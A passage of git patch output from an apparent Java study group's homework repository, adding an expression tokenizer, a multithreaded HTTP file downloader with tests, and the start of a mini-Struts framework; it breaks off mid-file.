+package com.coding.basic.homework_06.expr;
+
+import java.util.Arrays;
+import java.util.HashMap;
+import java.util.List;
+import java.util.Map;
+
+public class Token {
+
+	public static final List <String> OPERATORS =  Arrays.asList("+", "-", "*", "/");
+	public static final Map<String, Integer> priorities = new HashMap<String, Integer>();
+	static{
+		priorities.put("+", 1);
+		priorities.put("-", 1);
+		priorities.put("*", 2);
+		priorities.put("/", 2);
+	}
+	static final int OPERATOR = 1;
+	static final int NUMBER = 2;
+	String value;
+	int type;
+	
+	public Token(int type, String value){
+		this.type = type;
+		this.value = value;
+	}
+	
+	public boolean isNumber(){
+		return type == NUMBER;
+	}
+	
+	public boolean isOperator(){
+		return type == OPERATOR;
+	}
+	
+	public int getIntValue(){
+		return Integer.valueOf(value).intValue();
+	}
+	
+	public String toString(){
+		return value;
+	}
+	
+	public boolean hasHigherPriority(Token t){
+		if(!this.isOperator() && !t.isOperator()){
+			throw new RuntimeException("numbers can't compare priority");
+		}
+		return priorities.get(this.value) - priorities.get(t.value) > 0;
+	}
+	
+}
diff --git a/group06/1454385822/src/com/coding/basic/homework_06/expr/TokenParser.java b/group06/1454385822/src/com/coding/basic/homework_06/expr/TokenParser.java
new file mode 100644
index 0000000000..f158fdd933
--- /dev/null
+++ b/group06/1454385822/src/com/coding/basic/homework_06/expr/TokenParser.java
@@ -0,0 +1,46 @@
+package com.coding.basic.homework_06.expr;
+
+import java.util.ArrayList;
+import java.util.List;
+
+public class TokenParser {
+
+	public List<Token> parse(String expr){
+		List<Token> tokens = new ArrayList<Token>();
+		int i = 0;
+		while(i < expr.length()){
+			char c = expr.charAt(i);
+			if (isOperator(c)) {
+				Token t = new Token(Token.OPERATOR, String.valueOf(c));
+				tokens.add(t);
+				i++;
+			} else if(Character.isDigit(c)){
+				int nextOperatorIndex = indexOfNextOperator(i, expr);
+				String value = expr.substring(i, nextOperatorIndex);	
+				Token token = new Token(Token.NUMBER, value);
+				tokens.add(token);
+				i = nextOperatorIndex;
+			}else{
+				System.out.println("char :["+c+"] is not number or operator,ignore");
+				i++;
+			}
+		}
+		return tokens;
+	}
+	
+	private int indexOfNextOperator (int i, String expr){
+		while(Character.isDigit(expr.charAt(i))){
+			i++;
+			if (i == expr.length()) {
+				break;
+			}
+		}
+		return i;
+	}
+	
+	private boolean isOperator(char c){
+		String sc = String.valueOf(c);
+		return Token.OPERATORS.contains(sc);
+	}
+	
+}
diff --git a/group06/1454385822/src/com/coding/basic/homework_06/expr/TokenParserTest.java b/group06/1454385822/src/com/coding/basic/homework_06/expr/TokenParserTest.java
new file mode 100644
index 0000000000..2be1d52989
--- /dev/null
+++ b/group06/1454385822/src/com/coding/basic/homework_06/expr/TokenParserTest.java
@@ -0,0 +1,39 @@
+package com.coding.basic.homework_06.expr;
+
+import java.util.List;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+public class TokenParserTest {
+
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	@Test
+	public void test() {
+		
+		TokenParser parser = new TokenParser();
+		List<Token> tokens  = parser.parse("300*20+12*5-20/4");
+		
+		Assert.assertEquals(300, tokens.get(0).getIntValue());
+		Assert.assertEquals("*", tokens.get(1).toString());
+		Assert.assertEquals(20, tokens.get(2).getIntValue());
+		Assert.assertEquals("+", tokens.get(3).toString());
+		Assert.assertEquals(12, tokens.get(4).getIntValue());
+		Assert.assertEquals("*", tokens.get(5).toString());
+		Assert.assertEquals(5, tokens.get(6).getIntValue());
+		Assert.assertEquals("-", tokens.get(7).toString());
+		Assert.assertEquals(20, tokens.get(8).getIntValue());
+		Assert.assertEquals("/", tokens.get(9).toString());
+		Assert.assertEquals(4, tokens.get(10).getIntValue());
+	}
+
+}
\ No newline at end of file

From b7f02fdb6cb037284b58f4ebcca889a9360bbfad Mon Sep 17 00:00:00 2001
From: hejj <844028312@qq.com>
Date: Wed, 19 Apr 2017 14:28:28 +0800
Subject: [PATCH 096/262] =?UTF-8?q?=E7=AC=AC=E4=BA=94=E6=AC=A1=E4=BD=9C?=
 =?UTF-8?q?=E4=B8=9A?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 .../coderising/download/DownloadThread.java   |  48 ++
 .../coderising/download/FileDownloader.java   |  86 ++++
 .../download/FileDownloaderTest.java          | 115 +++++
 .../coderising/download/api/Connection.java   |  23 +
 .../download/api/ConnectionException.java     |   5 +
 .../download/api/ConnectionManager.java       |  10 +
 .../download/api/DownloadListener.java        |   5 +
 .../download/impl/ConnectionImpl.java         |  54 +++
 .../download/impl/ConnectionManagerImpl.java  |  33 ++
 .../coderising/litestruts/LoginAction.java    |  39 ++
 .../src/com/coderising/litestruts/Struts.java | 161 +++++++
 .../com/coderising/litestruts/StrutsTest.java |  50 +++
 .../src/com/coderising/litestruts/View.java   |  23 +
 .../src/com/coding/basic/BinaryTreeNode.java  | 145 ++++++
 .../src/com/coding/basic/Iterator.java        |   7 +
 .../src/com/coding/basic/List.java            |   9 +
 .../src/com/coding/basic/Queue.java           |  19 +
 .../src/com/coding/basic/Stack.java           |  24 +
 .../src/com/coding/basic/array/ArrayList.java | 100 +++++
 .../src/com/coding/basic/array/ArrayUtil.java | 222 +++++++++
 .../com/coding/basic/array/ArrayUtilTest.java |  66 +++
 .../coding/basic/linklist/LRUPageFrame.java   | 127 ++++++
 .../basic/linklist/LRUPageFrameTest.java      |  31 ++
 .../com/coding/basic/linklist/LinkedList.java | 420 ++++++++++++++++++
 .../com/coding/basic/queue/CircleQueue.java   |   5 +
 .../src/com/coding/basic/queue/Josephus.java  |  19 +
 .../com/coding/basic/queue/JosephusTest.java  |  27 ++
 .../src/com/coding/basic/queue/Queue.java     |  26 ++
 .../basic/queue/QueueWithTwoStacks.java       |  40 ++
 .../src/com/coding/basic/stack/Stack.java     |  30 ++
 .../src/com/coding/basic/stack/StackUtil.java | 135 ++++++
 .../com/coding/basic/stack/StackUtilTest.java |  65 +++
 .../coding/basic/stack/expr/InfixExpr.java    | 207 +++++++++
 .../basic/stack/expr/InfixExprTest.java       |  60 +++
 .../basic/stack/expr/InfixToPostfix.java      |  14 +
 .../coding/basic/stack/expr/PostfixExpr.java  |  18 +
 .../basic/stack/expr/PostfixExprTest.java     |  41 ++
 .../coding/basic/stack/expr/PrefixExpr.java   |  18 +
 .../basic/stack/expr/PrefixExprTest.java      |  45 ++
 .../com/coding/basic/stack/expr/Token.java    |  50 +++
 .../coding/basic/stack/expr/TokenParser.java  |  57 +++
 .../basic/stack/expr/TokenParserTest.java     |  41 ++
 .../coderising/jvm/attr/AttributeInfo.java    |  19 +
 .../src/com/coderising/jvm/attr/CodeAttr.java |  90 ++++
 .../coderising/jvm/attr/LineNumberTable.java  |  53 +++
 .../jvm/attr/LocalVariableItem.java           |  39 ++
 .../jvm/attr/LocalVariableTable.java          |  45 ++
 .../coderising/jvm/attr/StackMapTable.java    |  30 ++
 .../com/coderising/jvm/clz/AccessFlag.java    |  25 ++
 .../src/com/coderising/jvm/clz/ClassFile.java |  92 ++++
 .../com/coderising/jvm/clz/ClassIndex.java    |  19 +
 .../coderising/jvm/constant/ClassInfo.java    |  24 +
 .../coderising/jvm/constant/ConstantInfo.java |  29 ++
 .../coderising/jvm/constant/ConstantPool.java |  29 ++
 .../coderising/jvm/constant/FieldRefInfo.java |  54 +++
 .../jvm/constant/MethodRefInfo.java           |  55 +++
 .../jvm/constant/NameAndTypeInfo.java         |  45 ++
 .../jvm/constant/NullConstantInfo.java        |  13 +
 .../coderising/jvm/constant/StringInfo.java   |  26 ++
 .../com/coderising/jvm/constant/UTF8Info.java |  32 ++
 .../src/com/coderising/jvm/field/Field.java   |  44 ++
 .../jvm/loader/ByteCodeIterator.java          |  43 ++
 .../jvm/loader/ClassFileLoader.java           | 142 ++++++
 .../jvm/loader/ClassFileParser.java           | 158 +++++++
 .../src/com/coderising/jvm/method/Method.java |  73 +++
 .../jvm/test/ClassFileloaderTest.java         | 276 ++++++++++++
 .../com/coderising/jvm/test/EmployeeV1.java   |  29 ++
 .../src/com/coderising/jvm/util/Util.java     |  24 +
 .../one/src/com/coding/basic/Stack.java       |  10 +-
 .../one/src/com/coding/basic/StackUtil.java   | 135 ++++++
 .../coding/basic/linklist/LRUPageFrame.java   | 127 ++++++
 .../basic/linklist/LRUPageFrameTest.java      |  31 ++
 .../com/coding/basic/linklist/LinkedList.java | 125 ++++++
 .../coding/basic/stack/expr/InfixExpr.java    | 208 +++++++++
 .../basic/stack/expr/InfixExprTest.java       |  60 +++
 75 files changed, 4919 insertions(+), 5 deletions(-)
 create mode 100644 group04/844028312/data-structure/src/com/coderising/download/DownloadThread.java
 create mode 100644 group04/844028312/data-structure/src/com/coderising/download/FileDownloader.java
 create mode 100644 group04/844028312/data-structure/src/com/coderising/download/FileDownloaderTest.java
 create mode 100644 group04/844028312/data-structure/src/com/coderising/download/api/Connection.java
 create mode 100644 group04/844028312/data-structure/src/com/coderising/download/api/ConnectionException.java
 create mode 100644 group04/844028312/data-structure/src/com/coderising/download/api/ConnectionManager.java
 create mode 100644 group04/844028312/data-structure/src/com/coderising/download/api/DownloadListener.java
 create mode 100644 group04/844028312/data-structure/src/com/coderising/download/impl/ConnectionImpl.java
 create mode 100644 group04/844028312/data-structure/src/com/coderising/download/impl/ConnectionManagerImpl.java
 create mode 100644 group04/844028312/data-structure/src/com/coderising/litestruts/LoginAction.java
 create mode 100644 group04/844028312/data-structure/src/com/coderising/litestruts/Struts.java
 create mode 100644 group04/844028312/data-structure/src/com/coderising/litestruts/StrutsTest.java
 create mode 100644 group04/844028312/data-structure/src/com/coderising/litestruts/View.java
 create mode 100644 group04/844028312/data-structure/src/com/coding/basic/BinaryTreeNode.java
 create mode 100644 group04/844028312/data-structure/src/com/coding/basic/Iterator.java
 create mode 100644 group04/844028312/data-structure/src/com/coding/basic/List.java
 create mode 100644 group04/844028312/data-structure/src/com/coding/basic/Queue.java
 create mode 100644 group04/844028312/data-structure/src/com/coding/basic/Stack.java
 create mode 100644 group04/844028312/data-structure/src/com/coding/basic/array/ArrayList.java
 create mode 100644 group04/844028312/data-structure/src/com/coding/basic/array/ArrayUtil.java
 create mode 100644 group04/844028312/data-structure/src/com/coding/basic/array/ArrayUtilTest.java
 create mode 100644 group04/844028312/data-structure/src/com/coding/basic/linklist/LRUPageFrame.java
 create mode 100644 group04/844028312/data-structure/src/com/coding/basic/linklist/LRUPageFrameTest.java
 create mode 100644 group04/844028312/data-structure/src/com/coding/basic/linklist/LinkedList.java
 create mode 100644 group04/844028312/data-structure/src/com/coding/basic/queue/CircleQueue.java
 create mode 100644 group04/844028312/data-structure/src/com/coding/basic/queue/Josephus.java
 create mode 100644 group04/844028312/data-structure/src/com/coding/basic/queue/JosephusTest.java
 create mode 100644 group04/844028312/data-structure/src/com/coding/basic/queue/Queue.java
 create mode 100644 group04/844028312/data-structure/src/com/coding/basic/queue/QueueWithTwoStacks.java
 create mode 100644 group04/844028312/data-structure/src/com/coding/basic/stack/Stack.java
 create mode 100644 group04/844028312/data-structure/src/com/coding/basic/stack/StackUtil.java
 create mode 100644 group04/844028312/data-structure/src/com/coding/basic/stack/StackUtilTest.java
 create mode 100644 group04/844028312/data-structure/src/com/coding/basic/stack/expr/InfixExpr.java
 create mode 100644 group04/844028312/data-structure/src/com/coding/basic/stack/expr/InfixExprTest.java
 create mode 100644 group04/844028312/data-structure/src/com/coding/basic/stack/expr/InfixToPostfix.java
 create mode 100644 group04/844028312/data-structure/src/com/coding/basic/stack/expr/PostfixExpr.java
 create mode 100644 group04/844028312/data-structure/src/com/coding/basic/stack/expr/PostfixExprTest.java
 create mode 100644 group04/844028312/data-structure/src/com/coding/basic/stack/expr/PrefixExpr.java
 create mode 100644 group04/844028312/data-structure/src/com/coding/basic/stack/expr/PrefixExprTest.java
 create mode 100644 group04/844028312/data-structure/src/com/coding/basic/stack/expr/Token.java
 create mode 100644 group04/844028312/data-structure/src/com/coding/basic/stack/expr/TokenParser.java
 create mode 100644 group04/844028312/data-structure/src/com/coding/basic/stack/expr/TokenParserTest.java
 create mode 100644 group04/844028312/min-jvm/src/com/coderising/jvm/attr/AttributeInfo.java
 create mode 100644 group04/844028312/min-jvm/src/com/coderising/jvm/attr/CodeAttr.java
 create mode 100644 group04/844028312/min-jvm/src/com/coderising/jvm/attr/LineNumberTable.java
 create mode 100644 group04/844028312/min-jvm/src/com/coderising/jvm/attr/LocalVariableItem.java
 create mode 100644 group04/844028312/min-jvm/src/com/coderising/jvm/attr/LocalVariableTable.java
 create mode 100644 group04/844028312/min-jvm/src/com/coderising/jvm/attr/StackMapTable.java
 create mode 100644 group04/844028312/min-jvm/src/com/coderising/jvm/clz/AccessFlag.java
 create mode 100644 group04/844028312/min-jvm/src/com/coderising/jvm/clz/ClassFile.java
 create mode 100644 group04/844028312/min-jvm/src/com/coderising/jvm/clz/ClassIndex.java
 create mode 100644 group04/844028312/min-jvm/src/com/coderising/jvm/constant/ClassInfo.java
 create mode 100644 group04/844028312/min-jvm/src/com/coderising/jvm/constant/ConstantInfo.java
 create mode 100644 group04/844028312/min-jvm/src/com/coderising/jvm/constant/ConstantPool.java
 create mode 100644 group04/844028312/min-jvm/src/com/coderising/jvm/constant/FieldRefInfo.java
 create mode 100644 group04/844028312/min-jvm/src/com/coderising/jvm/constant/MethodRefInfo.java
 create mode 100644 group04/844028312/min-jvm/src/com/coderising/jvm/constant/NameAndTypeInfo.java
 create mode 100644 group04/844028312/min-jvm/src/com/coderising/jvm/constant/NullConstantInfo.java
 create mode 100644 group04/844028312/min-jvm/src/com/coderising/jvm/constant/StringInfo.java
 create mode 100644 group04/844028312/min-jvm/src/com/coderising/jvm/constant/UTF8Info.java
 create mode 100644 group04/844028312/min-jvm/src/com/coderising/jvm/field/Field.java
 create mode 100644 group04/844028312/min-jvm/src/com/coderising/jvm/loader/ByteCodeIterator.java
 create mode 100644 group04/844028312/min-jvm/src/com/coderising/jvm/loader/ClassFileLoader.java
 create mode 100644 group04/844028312/min-jvm/src/com/coderising/jvm/loader/ClassFileParser.java
 create mode 100644 group04/844028312/min-jvm/src/com/coderising/jvm/method/Method.java
 create mode 100644 group04/844028312/min-jvm/src/com/coderising/jvm/test/ClassFileloaderTest.java
 create mode 100644 group04/844028312/min-jvm/src/com/coderising/jvm/test/EmployeeV1.java
 create mode 100644 group04/844028312/min-jvm/src/com/coderising/jvm/util/Util.java
 create mode 100644 group04/844028312/one/src/com/coding/basic/StackUtil.java
 create mode 100644 group04/844028312/one/src/com/coding/basic/linklist/LRUPageFrame.java
 create mode 100644 group04/844028312/one/src/com/coding/basic/linklist/LRUPageFrameTest.java
 create mode 100644 group04/844028312/one/src/com/coding/basic/linklist/LinkedList.java
 create mode 100644 group04/844028312/one/src/com/coding/basic/stack/expr/InfixExpr.java
 create mode 100644 group04/844028312/one/src/com/coding/basic/stack/expr/InfixExprTest.java

diff --git a/group04/844028312/data-structure/src/com/coderising/download/DownloadThread.java b/group04/844028312/data-structure/src/com/coderising/download/DownloadThread.java
new file mode 100644
index 0000000000..580da85576
--- /dev/null
+++ b/group04/844028312/data-structure/src/com/coderising/download/DownloadThread.java
@@ -0,0 +1,48 @@
+package com.coderising.download;
+
+import java.io.File;
+import java.io.FileOutputStream;
+import java.io.IOException;
+import java.io.OutputStream;
+import java.io.RandomAccessFile;
+import java.util.concurrent.CyclicBarrier;
+
+import com.coderising.download.api.Connection;
+import com.coderising.download.api.ConnectionManager;
+import com.coderising.download.impl.ConnectionManagerImpl;
+
+public class DownloadThread extends Thread{
+
+	Connection conn;
+	int startPos;
+	int endPos;
+	CyclicBarrier barrier;
+	String url;
+	public DownloadThread(CyclicBarrier barrier, String url, int startPos, int endPos){
+		this.barrier=barrier;
+		//this.conn = conn;		
+		this.startPos = startPos;
+		this.endPos = endPos;
+		this.url=url;
+	}
+	public void run(){	
+		try {
+			ConnectionManager cm = new ConnectionManagerImpl();
+			conn=cm.open(url);
+			
+			byte[] b=conn.read(startPos, endPos);
+			
+			RandomAccessFile randomFile = new RandomAccessFile("D://test.zip", "rw");
+			write(randomFile,b);
+			barrier.await();
+		} catch (Exception e) {
+			// TODO Auto-generated catch block
+			e.printStackTrace();
+		}
+	}
+	public  synchronized void write(RandomAccessFile randomFile ,byte[] b) throws IOException{
+		randomFile.seek(startPos);
+		randomFile.write(b);
+		randomFile.close();
+	}
+}
diff --git a/group04/844028312/data-structure/src/com/coderising/download/FileDownloader.java b/group04/844028312/data-structure/src/com/coderising/download/FileDownloader.java
new file mode 100644
index 0000000000..9d81ef03be
--- /dev/null
+++ b/group04/844028312/data-structure/src/com/coderising/download/FileDownloader.java
@@ -0,0 +1,86 @@
+package com.coderising.download;
+
+import java.util.concurrent.CyclicBarrier;
+
+import com.coderising.download.api.Connection;
+import com.coderising.download.api.ConnectionException;
+import com.coderising.download.api.ConnectionManager;
+import com.coderising.download.api.DownloadListener;
+
+
+public class FileDownloader {
+	
+	String url;
+	
+	DownloadListener listener;
+	
+	ConnectionManager cm;
+	
+
+	public FileDownloader(String _url) {
+		this.url = _url;
+		
+	}
+	
+	public void execute(){
+		// 在这里实现你的代码， 注意： 需要用多线程实现下载
+		// 这个类依赖于其他几个接口, 你需要写这几个接口的实现代码
+		// (1) ConnectionManager , 可以打开一个连接，通过Connection可以读取其中的一段（用startPos, endPos来指定）
+		// (2) DownloadListener, 由于是多线程下载， 调用这个类的客户端不知道什么时候结束，所以你需要实现当所有
+		//     线程都执行完以后， 调用listener的notifiedFinished方法， 这样客户端就能收到通知。
+		// 具体的实现思路：
+		// 1. 需要调用ConnectionManager的open方法打开连接， 然后通过Connection.getContentLength方法获得文件的长度
+		// 2. 至少启动3个线程下载，  注意每个线程需要先调用ConnectionManager的open方法
+		// 然后调用read方法， read方法中有读取文件的开始位置和结束位置的参数， 返回值是byte[]数组
+		// 3. 把byte数组写入到文件中
+		// 4. 所有的线程都下载完成以后， 需要调用listener的notifiedFinished方法
+		
+		// 下面的代码是示例代码， 也就是说只有一个线程， 你需要改造成多线程的。
+		Connection conn = null;
+		try {
+			
+			
+			CyclicBarrier cb = new CyclicBarrier(4, new Runnable() {
+					@Override
+					public void run() {
+						// TODO Auto-generated method stub
+						listener.notifyFinished();
+           
+					} 
+			});
+			conn=cm.open(url);
+			int length = conn.getContentLength();	
+			new DownloadThread(cb,url,0,length/4).start();
+			new DownloadThread(cb,url,length/4+1,(length/4)*2).start();
+			new DownloadThread(cb,url,(length/4)*2+1,(length/4)*3).start();
+			new DownloadThread(cb,url,(length/4)*3+1,length-1).start();
+		
+				
+		} catch (Exception e) {			
+			e.printStackTrace();
+		}finally{
+			if(conn != null){
+				conn.close();
+			}
+		}
+		
+		
+		
+		
+	}
+	
+	public void setListener(DownloadListener listener) {
+		this.listener = listener;
+	}
+
+	
+	
+	public void setConnectionManager(ConnectionManager ucm){
+		this.cm = ucm;
+	}
+	
+	public DownloadListener getListener(){
+		return this.listener;
+	}
+	
+}
diff --git a/group04/844028312/data-structure/src/com/coderising/download/FileDownloaderTest.java b/group04/844028312/data-structure/src/com/coderising/download/FileDownloaderTest.java
new file mode 100644
index 0000000000..b1cc492c33
--- /dev/null
+++ b/group04/844028312/data-structure/src/com/coderising/download/FileDownloaderTest.java
@@ -0,0 +1,115 @@
+package com.coderising.download;
+
+import java.util.concurrent.ExecutorService;
+import java.util.concurrent.Executors;
+import java.util.concurrent.ThreadPoolExecutor;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+
+import com.coderising.download.api.ConnectionException;
+import com.coderising.download.api.ConnectionManager;
+import com.coderising.download.api.DownloadListener;
+import com.coderising.download.impl.ConnectionManagerImpl;
+
+public class FileDownloaderTest {
+	boolean downloadFinished = false;
+	  private static Integer pages=1; // 网页数
+	     
+	    private static boolean exeFlag=true; // 执行标识
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	@Test
+	public void testDownload() {
+		
+		String url="http://mirrors.hust.edu.cn/apache/tomcat/tomcat-8/v8.0.41/bin/apache-tomcat-8.0.41-windows-x64.zip";
+		FileDownloader downloader = new FileDownloader(url);
+
+	
+		ConnectionManager cm = new ConnectionManagerImpl();
+		downloader.setConnectionManager(cm);
+		
+		downloader.setListener(new DownloadListener() {
+			@Override
+			public void notifyFinished() {
+				downloadFinished = true;
+			}
+
+		});
+
+		
+		downloader.execute();
+		
+		// 等待多线程下载程序执行完毕
+		while (!downloadFinished) {
+			try {
+				System.out.println("还没有下载完成，休眠五秒");
+				//休眠5秒
+				//Thread.sleep(5000);
+			} catch (Exception e) {				
+				e.printStackTrace();
+			}
+		}
+		System.out.println("下载完成！");
+		
+		
+
+	}
+	
+	//http://image.so.com/v?ie=utf-8&src=hao_360so&q=%E9%AB%98%E5%9C%86%E5%9C%86&correct=%E9%AB%98%E5%9C%86%E5%9C%86&fromurl=http%3A%2F%2Fwww.cesiu.org.cn%2Fomdsj%2F2010674.html&gsrc=1#multiple=0&dataindex=57&id=537876d111c8adfec7fbda2b80a4f67b
+	@Test
+	public void testOpen() throws ConnectionException {
+
+	  
+	     
+		ExecutorService executorService=Executors.newFixedThreadPool(10); // 创建ExecutorService 连接池创建固定的10个初始线程
+        
+        while(exeFlag){
+            if(pages<=100){
+//                executorService.execute(new Runnable(){
+// 
+//                    @Override
+//                    public void run() {
+//                        // TODO Auto-generated method stub
+//                    	System.out.println(Thread.currentThread().getName());
+//                      System.out.println("爬取了第"+pages+"网页...");
+//                        pages++;
+//                    }
+//                     
+//                });
+                new Runnable(){
+                	 
+                    @Override
+                    public void run() {
+                        // TODO Auto-generated method stub
+                    	System.out.println(Thread.currentThread().getName());
+                      System.out.println("爬取了第"+pages+"网页...");
+                        pages++;
+                    }
+                     
+                }.run();;
+               
+            }else{
+                if(((ThreadPoolExecutor)executorService).getActiveCount()==0){ // 活动线程是0
+                    executorService.shutdown(); // 结束所有线程
+                    exeFlag=false;
+                    System.out.println("爬虫任务已经完成");
+                }
+            }
+            try {
+              // Thread.sleep(2000); // 线程休息0.1秒
+            } catch (Exception e) {
+                e.printStackTrace();
+            }
+            
+        }
+       
+	}
+}
diff --git a/group04/844028312/data-structure/src/com/coderising/download/api/Connection.java b/group04/844028312/data-structure/src/com/coderising/download/api/Connection.java
new file mode 100644
index 0000000000..0957eaf7f4
--- /dev/null
+++ b/group04/844028312/data-structure/src/com/coderising/download/api/Connection.java
@@ -0,0 +1,23 @@
+package com.coderising.download.api;
+
+import java.io.IOException;
+
+public interface Connection {
+	/**
+	 * 给定开始和结束位置， 读取数据， 返回值是字节数组
+	 * @param startPos 开始位置， 从0开始
+	 * @param endPos 结束位置
+	 * @return
+	 */
+	public byte[] read(int startPos,int endPos) throws IOException;
+	/**
+	 * 得到数据内容的长度
+	 * @return
+	 */
+	public int getContentLength();
+	
+	/**
+	 * 关闭连接
+	 */
+	public void close();
+}
diff --git a/group04/844028312/data-structure/src/com/coderising/download/api/ConnectionException.java b/group04/844028312/data-structure/src/com/coderising/download/api/ConnectionException.java
new file mode 100644
index 0000000000..c3ed7396e7
--- /dev/null
+++ b/group04/844028312/data-structure/src/com/coderising/download/api/ConnectionException.java
@@ -0,0 +1,5 @@
+package com.coderising.download.api;
+
+public class ConnectionException extends Exception {
+	
+}
diff --git a/group04/844028312/data-structure/src/com/coderising/download/api/ConnectionManager.java b/group04/844028312/data-structure/src/com/coderising/download/api/ConnectionManager.java
new file mode 100644
index 0000000000..ce045393b1
--- /dev/null
+++ b/group04/844028312/data-structure/src/com/coderising/download/api/ConnectionManager.java
@@ -0,0 +1,10 @@
+package com.coderising.download.api;
+
+public interface ConnectionManager {
+	/**
+	 * 给定一个url , 打开一个连接
+	 * @param url
+	 * @return
+	 */
+	public Connection open(String url) throws ConnectionException;	
+}
diff --git a/group04/844028312/data-structure/src/com/coderising/download/api/DownloadListener.java b/group04/844028312/data-structure/src/com/coderising/download/api/DownloadListener.java
new file mode 100644
index 0000000000..bf9807b307
--- /dev/null
+++ b/group04/844028312/data-structure/src/com/coderising/download/api/DownloadListener.java
@@ -0,0 +1,5 @@
+package com.coderising.download.api;
+
+public interface DownloadListener {
+	public void notifyFinished();
+}
diff --git a/group04/844028312/data-structure/src/com/coderising/download/impl/ConnectionImpl.java b/group04/844028312/data-structure/src/com/coderising/download/impl/ConnectionImpl.java
new file mode 100644
index 0000000000..4849434761
--- /dev/null
+++ b/group04/844028312/data-structure/src/com/coderising/download/impl/ConnectionImpl.java
@@ -0,0 +1,54 @@
+package com.coderising.download.impl;
+
+import java.io.ByteArrayOutputStream;
+import java.io.IOException;
+import java.io.InputStream;
+import java.net.HttpURLConnection;
+import java.util.Arrays;
+
+import com.coderising.download.api.Connection;
+
+public class ConnectionImpl implements Connection{
+	HttpURLConnection urlConnection;
+	
+	
+
+	public HttpURLConnection getUrlConnection() {
+		return urlConnection;
+	}
+
+	public void setUrlConnection(HttpURLConnection urlConnection) {
+		this.urlConnection = urlConnection;
+	}
+
+	@Override
+	public byte[] read(int startPos, int endPos) throws IOException {
+		byte[] buffer = new byte[endPos-startPos+1];
+		int count=0;
+		urlConnection.setRequestProperty("Range", "bytes=" + startPos + "-" + endPos);
+		InputStream ips=urlConnection.getInputStream();
+		//ips.skip(startPos);
+		while(count<buffer.length-1){
+			int len=ips.read(buffer, count, endPos-startPos-count);
+			if(len==-1){
+				break;
+			}
+			count=count+len;
+		}
+		return buffer;
+
+	}
+
+	@Override
+	public int getContentLength() {
+		
+		return urlConnection.getContentLength();
+	}
+
+	@Override
+	public void close() {
+		urlConnection.disconnect();
+		
+	}
+
+}
diff --git a/group04/844028312/data-structure/src/com/coderising/download/impl/ConnectionManagerImpl.java b/group04/844028312/data-structure/src/com/coderising/download/impl/ConnectionManagerImpl.java
new file mode 100644
index 0000000000..4e282c1bc2
--- /dev/null
+++ b/group04/844028312/data-structure/src/com/coderising/download/impl/ConnectionManagerImpl.java
@@ -0,0 +1,33 @@
+package com.coderising.download.impl;
+
+
+
+import java.net.HttpURLConnection;
+import java.net.URL;
+import java.net.URLConnection;
+
+import com.coderising.download.api.Connection;
+import com.coderising.download.api.ConnectionException;
+import com.coderising.download.api.ConnectionManager;
+
+public class ConnectionManagerImpl implements ConnectionManager {
+
+	@Override
+	public Connection open(String url) throws ConnectionException {
+		HttpURLConnection urlConnection;
+		ConnectionImpl conImpl=new ConnectionImpl();
+			try {
+				URL u=new URL(url);
+				urlConnection=(HttpURLConnection) u.openConnection();
+				conImpl.setUrlConnection(urlConnection);
+			} catch (Exception e) {
+				// TODO Auto-generated catch block
+				e.printStackTrace();
+			}
+			
+		
+		
+		return conImpl;
+	}
+
+}
diff --git a/group04/844028312/data-structure/src/com/coderising/litestruts/LoginAction.java b/group04/844028312/data-structure/src/com/coderising/litestruts/LoginAction.java
new file mode 100644
index 0000000000..dcdbe226ed
--- /dev/null
+++ b/group04/844028312/data-structure/src/com/coderising/litestruts/LoginAction.java
@@ -0,0 +1,39 @@
+package com.coderising.litestruts;
+
+/**
+ * 这是一个用来展示登录的业务类， 其中的用户名和密码都是硬编码的。
+ * @author liuxin
+ *
+ */
+public class LoginAction{
+    private String name ;
+    private String password;
+    private String message;
+
+    public String getName() {
+        return name;
+    }
+
+    public String getPassword() {
+        return password;
+    }
+
+    public String execute(){
+            if("test".equals(name) && "1234".equals(password)){
+                this.message = "login successful";
+                return "success";
+            }
+            this.message = "login failed,please check your user/pwd";
+            return "fail";
+    }
+
+    public void setName(String name){
+        this.name = name;
+    }
+    public void setPassword(String password){
+        this.password = password;
+    }
+    public String getMessage(){
+        return this.message;
+    }
+}
diff --git a/group04/844028312/data-structure/src/com/coderising/litestruts/Struts.java b/group04/844028312/data-structure/src/com/coderising/litestruts/Struts.java
new file mode 100644
index 0000000000..ae9024f04a
--- /dev/null
+++ b/group04/844028312/data-structure/src/com/coderising/litestruts/Struts.java
@@ -0,0 +1,161 @@
+package com.coderising.litestruts;
+
+import java.io.File;
+import java.lang.reflect.Method;
+import java.util.HashMap;
+import java.util.Iterator;
+import java.util.List;
+import java.util.Map;
+
+import org.dom4j.Attribute;
+import org.dom4j.Document;
+import org.dom4j.DocumentException;
+import org.dom4j.Element;
+import org.dom4j.io.SAXReader;
+
+
+
+public class Struts { 
+	private  Map<String,String> action=new HashMap<String,String>();
+	private  boolean find=false;
+    public static View runAction(String actionName, Map<String,String> parameters) {
+
+        /*
+         
+		0. 读取配置文件struts.xml
+ 		
+ 		1. 根据actionName找到相对应的class ， 例如LoginAction,   通过反射实例化（创建对象）
+		据parameters中的数据，调用对象的setter方法， 例如parameters中的数据是 
+		("name"="test" ,  "password"="1234") ,     	
+		那就应该调用 setName和setPassword方法
+		
+		2. 通过反射调用对象的exectue 方法， 并获得返回值，例如"success"
+		
+		3. 通过反射找到对象的所有getter方法（例如 getMessage）,  
+		通过反射来调用， 把值和属性形成一个HashMap , 例如 {"message":  "登录成功"} ,  
+		放到View对象的parameters
+		
+		4. 根据struts.xml中的 <result> 配置,以及execute的返回值，  确定哪一个jsp，  
+		放到View对象的jsp字段中。
+        
+        */
+    	
+    	View v=new View();
+    	//创建SAXReader对象 
+    	SAXReader reader = new SAXReader();   
+    	Struts struts=new Struts();
+    	File file=new File(Struts.class.getResource("struts.xml").getFile());
+    	Document document;
+		try {
+			document = reader.read(file);
+			Element root=document.getRootElement();
+			struts.listNodes("login",root);
+			if(struts.getAction().size()!=0){
+				try {
+					String className=struts.getAction().get("class");
+					Class c=Class.forName(className);
+					Object obj = c.newInstance();
+					 Method[] methods = c.getDeclaredMethods();
+					 Iterator iter = parameters.entrySet().iterator();			
